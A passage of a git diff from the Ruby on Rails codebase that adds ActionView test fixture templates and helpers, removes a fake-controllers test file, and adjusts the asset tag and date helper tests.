+++ b/actionview/test/fixtures/actionpack/test/_partial.erb
@@ -0,0 +1 @@
+invalid \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.html.erb b/actionview/test/fixtures/actionpack/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial.js.erb b/actionview/test/fixtures/actionpack/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000000..3a03a64e31
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>) \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
new file mode 100644
index 0000000000..4b54875782
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb
@@ -0,0 +1 @@
+<%= "partial.html.erb" %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000000..cc3a91c89f
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only.erb b/actionview/test/fixtures/actionpack/test/_partial_only.erb
new file mode 100644
index 0000000000..a44b3eed40
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_only_html.html b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
new file mode 100644
index 0000000000..d2d630bd40
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_only_html.html
@@ -0,0 +1 @@
+only html partial \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
new file mode 100644
index 0000000000..ee0d5037b6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionview/test/fixtures/actionpack/test/_person.erb b/actionview/test/fixtures/actionpack/test/_person.erb
new file mode 100644
index 0000000000..b2e5688956
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_person.erb
@@ -0,0 +1,2 @@
+Second: <%= name %>
+Third: <%= @name %>
diff --git a/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
new file mode 100644
index 0000000000..f9a93728fe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
new file mode 100644
index 0000000000..5ebb7f1afd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
new file mode 100644
index 0000000000..36e896daa8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb
@@ -0,0 +1,2 @@
+<% @title = "Talking to the layout" -%>
+Action was here! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000000..ac44bc0d81
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/capturing.erb b/actionview/test/fixtures/actionpack/test/capturing.erb
new file mode 100644
index 0000000000..1addaa40d9
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/capturing.erb
@@ -0,0 +1,4 @@
+<% days = capture do %>
+ Dreamy days
+<% end %>
+<%= days %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/change_priority.html.erb b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
new file mode 100644
index 0000000000..5618977d05
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for.erb b/actionview/test/fixtures/actionpack/test/content_for.erb
new file mode 100644
index 0000000000..1fb829f54c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for.erb
@@ -0,0 +1 @@
+<% content_for :title do -%>Putting stuff in the title!<% end -%>Great stuff! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
new file mode 100644
index 0000000000..e65f629574
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_concatenated.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "Putting stuff "
+ content_for :title, "in the title!" -%>
+Great stuff! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
new file mode 100644
index 0000000000..aeb6f73ce0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb
@@ -0,0 +1,2 @@
+<% content_for :title, "Putting stuff in the title!" -%>
+Great stuff! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
new file mode 100644
index 0000000000..1c64efabd8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb
@@ -0,0 +1 @@
+formatted html erb \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
new file mode 100644
index 0000000000..14fd3549fb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test 'failed' \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000000..0c855a604b
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000000..6ca09d5304
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/greeting.html.erb b/actionview/test/fixtures/actionpack/test/greeting.html.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.html.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/greeting.xml.erb b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/actionpack/test/hello,world.erb b/actionview/test/fixtures/actionpack/test/hello,world.erb
new file mode 100644
index 0000000000..bc8fa5e0ca
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello,world.erb
@@ -0,0 +1 @@
+Hello w*rld! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello.builder b/actionview/test/fixtures/actionpack/test/hello.builder
new file mode 100644
index 0000000000..a471553941
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+ xml.p "Hello #{@name}"
+ xml << render(:file => "test/greeting")
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello/hello.erb b/actionview/test/fixtures/actionpack/test/hello/hello.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world.erb b/actionview/test/fixtures/actionpack/test/hello_world.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_container.builder b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
new file mode 100644
index 0000000000..e48d75c405
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
@@ -0,0 +1,3 @@
+xml.test do
+ render :partial => 'hello', :locals => { :xm => xml }
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
new file mode 100644
index 0000000000..619a97ba96
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
@@ -0,0 +1,3 @@
+xml.html do
+ xml.p "Hello"
+end
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
@@ -0,0 +1 @@
+Hello world! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
new file mode 100644
index 0000000000..e7081b89fe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+ xml.head do
+ xml.title "Hello World"
+ end
+
+ xml.body do
+ xml.p "abes"
+ xml.p "monks"
+ xml.p "wiseguys"
+ end
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/html_template.html.erb b/actionview/test/fixtures/actionpack/test/html_template.html.erb
new file mode 100644
index 0000000000..1bbc2b7f09
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/hyphen-ated.erb b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
new file mode 100644
index 0000000000..cd0875583a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
@@ -0,0 +1 @@
+Hello world!
diff --git a/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000000..2fcb32d247
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionview/test/fixtures/actionpack/test/list.erb b/actionview/test/fixtures/actionpack/test/list.erb
new file mode 100644
index 0000000000..0a4bda58ee
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
new file mode 100644
index 0000000000..d539a425a4
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
@@ -0,0 +1,4 @@
+content_for :title do
+ 'Putting stuff in the title!'
+end
+xml << "Great stuff!"
diff --git a/actionview/test/fixtures/actionpack/test/potential_conflicts.erb b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
new file mode 100644
index 0000000000..a5e964e359
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
@@ -0,0 +1,4 @@
+First: <%= @name %>
+<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+Fourth: <%= @name %>
+Fifth: <%= name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/proper_block_detection.erb b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
new file mode 100644
index 0000000000..b55efbb25d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
@@ -0,0 +1 @@
+<%= @todo %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
new file mode 100644
index 0000000000..fde9f4bb64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
@@ -0,0 +1 @@
+<%= render :file => @path %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000000..9b4900acc5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
new file mode 100644
index 0000000000..0740b2d07c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
new file mode 100644
index 0000000000..4a11845cfe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
@@ -0,0 +1 @@
+Hello HTML! \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
new file mode 100644
index 0000000000..892ae5eca2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
@@ -0,0 +1 @@
+alert('hello'); \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000000..1461b95186
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/actionpack/test/render_to_string_test.erb b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
new file mode 100644
index 0000000000..6e267e8634
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
@@ -0,0 +1 @@
+The value of foo is: ::<%= @foo %>::
diff --git a/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
new file mode 100644
index 0000000000..3db6025860
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
new file mode 100644
index 0000000000..3d6661df9a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %> \ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
new file mode 100644
index 0000000000..d84d909d64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
new file mode 100644
index 0000000000..7502364cf5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.text.erb b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
new file mode 100644
index 0000000000..5f068ebf27
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
@@ -0,0 +1 @@
+**<%= render :partial => "partial_only" %>**
diff --git a/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
new file mode 100644
index 0000000000..e54a7cd001
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
@@ -0,0 +1 @@
+<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionview/test/fixtures/customers/_customer.xml.erb b/actionview/test/fixtures/customers/_customer.xml.erb
new file mode 100644
index 0000000000..d3f1e0768f
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.xml.erb
@@ -0,0 +1 @@
+<greeting><%= greeting %></greeting><name><%= customer.name %></name> \ No newline at end of file
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
index 4941463015..8b3f0a8039 100644
--- a/actionview/test/fixtures/developer.rb
+++ b/actionview/test/fixtures/developer.rb
@@ -4,7 +4,3 @@ class Developer < ActiveRecord::Base
has_many :topics, :through => :replies
accepts_nested_attributes_for :projects
end
-
-class DeVeLoPeR < ActiveRecord::Base
- self.table_name = "developers"
-end
diff --git a/actionview/test/fixtures/digestor/level/_recursion.html.erb b/actionview/test/fixtures/digestor/level/_recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/_recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionview/test/fixtures/digestor/level/recursion.html.erb b/actionview/test/fixtures/digestor/level/recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionview/test/fixtures/digestor/messages/new.html+iphone.erb b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
new file mode 100644
index 0000000000..791e1d36b4
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
@@ -0,0 +1,15 @@
+<%# Template Dependency: messages/message %>
+
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing" %>
+<%# render "something_missing_1" %>
+
+<%
+ # Template Dependency: messages/form
+%> \ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000000..cf2774bb5f
--- /dev/null
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,3 @@
+module AbcHelper
+ def bare_a() end
+end
diff --git a/actionpack/test/fixtures/helpers/helpery_test_helper.rb b/actionview/test/fixtures/helpers/helpery_test_helper.rb
index a4f2951efa..a4f2951efa 100644
--- a/actionpack/test/fixtures/helpers/helpery_test_helper.rb
+++ b/actionview/test/fixtures/helpers/helpery_test_helper.rb
diff --git a/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
new file mode 100644
index 0000000000..d8801e54d5
--- /dev/null
+++ b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
@@ -0,0 +1,5 @@
+require 'very_invalid_file_name'
+
+module InvalidRequireHelper
+end
+
diff --git a/actionpack/test/fixtures/override/test/hello_world.erb b/actionview/test/fixtures/override/test/hello_world.erb
index 3e308d3d86..3e308d3d86 100644
--- a/actionpack/test/fixtures/override/test/hello_world.erb
+++ b/actionview/test/fixtures/override/test/hello_world.erb
diff --git a/actionpack/test/fixtures/override2/layouts/test/sub.erb b/actionview/test/fixtures/override2/layouts/test/sub.erb
index 3863d5a8ef..3863d5a8ef 100644
--- a/actionpack/test/fixtures/override2/layouts/test/sub.erb
+++ b/actionview/test/fixtures/override2/layouts/test/sub.erb
diff --git a/actionview/test/fixtures/test/hello_world.html+phone.erb b/actionview/test/fixtures/test/hello_world.html+phone.erb
new file mode 100644
index 0000000000..b4f236f878
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.html+phone.erb
@@ -0,0 +1 @@
+Hello phone! \ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.text+phone.erb b/actionview/test/fixtures/test/hello_world.text+phone.erb
new file mode 100644
index 0000000000..611e2ee442
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.text+phone.erb
@@ -0,0 +1 @@
+Hello texty phone! \ No newline at end of file
diff --git a/actionview/test/lib/controller/fake_controllers.rb b/actionview/test/lib/controller/fake_controllers.rb
deleted file mode 100644
index 1a2863b689..0000000000
--- a/actionview/test/lib/controller/fake_controllers.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-class ContentController < ActionController::Base; end
-
-module Admin
- class AccountsController < ActionController::Base; end
- class PostsController < ActionController::Base; end
- class StuffController < ActionController::Base; end
- class UserController < ActionController::Base; end
- class UsersController < ActionController::Base; end
-end
-
-module Api
- class UsersController < ActionController::Base; end
- class ProductsController < ActionController::Base; end
-end
-
-class AccountController < ActionController::Base; end
-class ArchiveController < ActionController::Base; end
-class ArticlesController < ActionController::Base; end
-class BarController < ActionController::Base; end
-class BlogController < ActionController::Base; end
-class BooksController < ActionController::Base; end
-class CarsController < ActionController::Base; end
-class CcController < ActionController::Base; end
-class CController < ActionController::Base; end
-class FooController < ActionController::Base; end
-class GeocodeController < ActionController::Base; end
-class NewsController < ActionController::Base; end
-class NotesController < ActionController::Base; end
-class PagesController < ActionController::Base; end
-class PeopleController < ActionController::Base; end
-class PostsController < ActionController::Base; end
-class SubpathBooksController < ActionController::Base; end
-class SymbolsController < ActionController::Base; end
-class UserController < ActionController::Base; end
-class UsersController < ActionController::Base; end
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
index 214a13654e..18e4277d7a 100644
--- a/actionview/test/template/asset_tag_helper_test.rb
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -2,14 +2,6 @@ require 'zlib'
require 'abstract_unit'
require 'active_support/ordered_options'
-class FakeController
- attr_accessor :request
-
- def config
- @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
- end
-end
-
class AssetTagHelperTest < ActionView::TestCase
tests ActionView::Helpers::AssetTagHelper
@@ -203,9 +195,9 @@ class AssetTagHelperTest < ActionView::TestCase
}
FaviconLinkToTag = {
- %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
- %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
- %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
+ %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+ %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+ %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/x-icon" />),
%(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
%(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
}
@@ -245,7 +237,7 @@ class AssetTagHelperTest < ActionView::TestCase
%(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
%(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
%(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
- %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
%(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
%(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
%(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
@@ -317,6 +309,14 @@ class AssetTagHelperTest < ActionView::TestCase
AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
end
+ def test_asset_path_tag_to_not_create_duplicate_slashes
+ @controller.config.asset_host = "host/"
+ assert_dom_equal('http://host/foo', asset_path("foo"))
+
+ @controller.config.relative_url_root = '/some/root/'
+ assert_dom_equal('http://host/some/root/foo', asset_path("foo"))
+ end
+
def test_compute_asset_public_path
assert_equal "/robots.txt", compute_asset_path("robots.txt")
assert_equal "/robots.txt", compute_asset_path("/robots.txt")
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
index 242b56a1fd..b86ae910c4 100644
--- a/actionview/test/template/date_helper_test.rb
+++ b/actionview/test/template/date_helper_test.rb
@@ -19,8 +19,6 @@ class DateHelperTest < ActionView::TestCase
end
def assert_distance_of_time_in_words(from, to=nil)
- Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
-
to ||= from
# 0..1 minute with :include_seconds => true
@@ -123,9 +121,6 @@ class DateHelperTest < ActionView::TestCase
assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
-
- ensure
- Fixnum.send :public, :/
end
def test_distance_in_words
@@ -133,6 +128,13 @@ class DateHelperTest < ActionView::TestCase
assert_distance_of_time_in_words(from)
end
+ def test_distance_in_words_with_mathn_required
+ # test we avoid Integer#/ (redefined by mathn)
+ require 'mathn'
+ from = Time.utc(2004, 6, 6, 21, 45, 0)
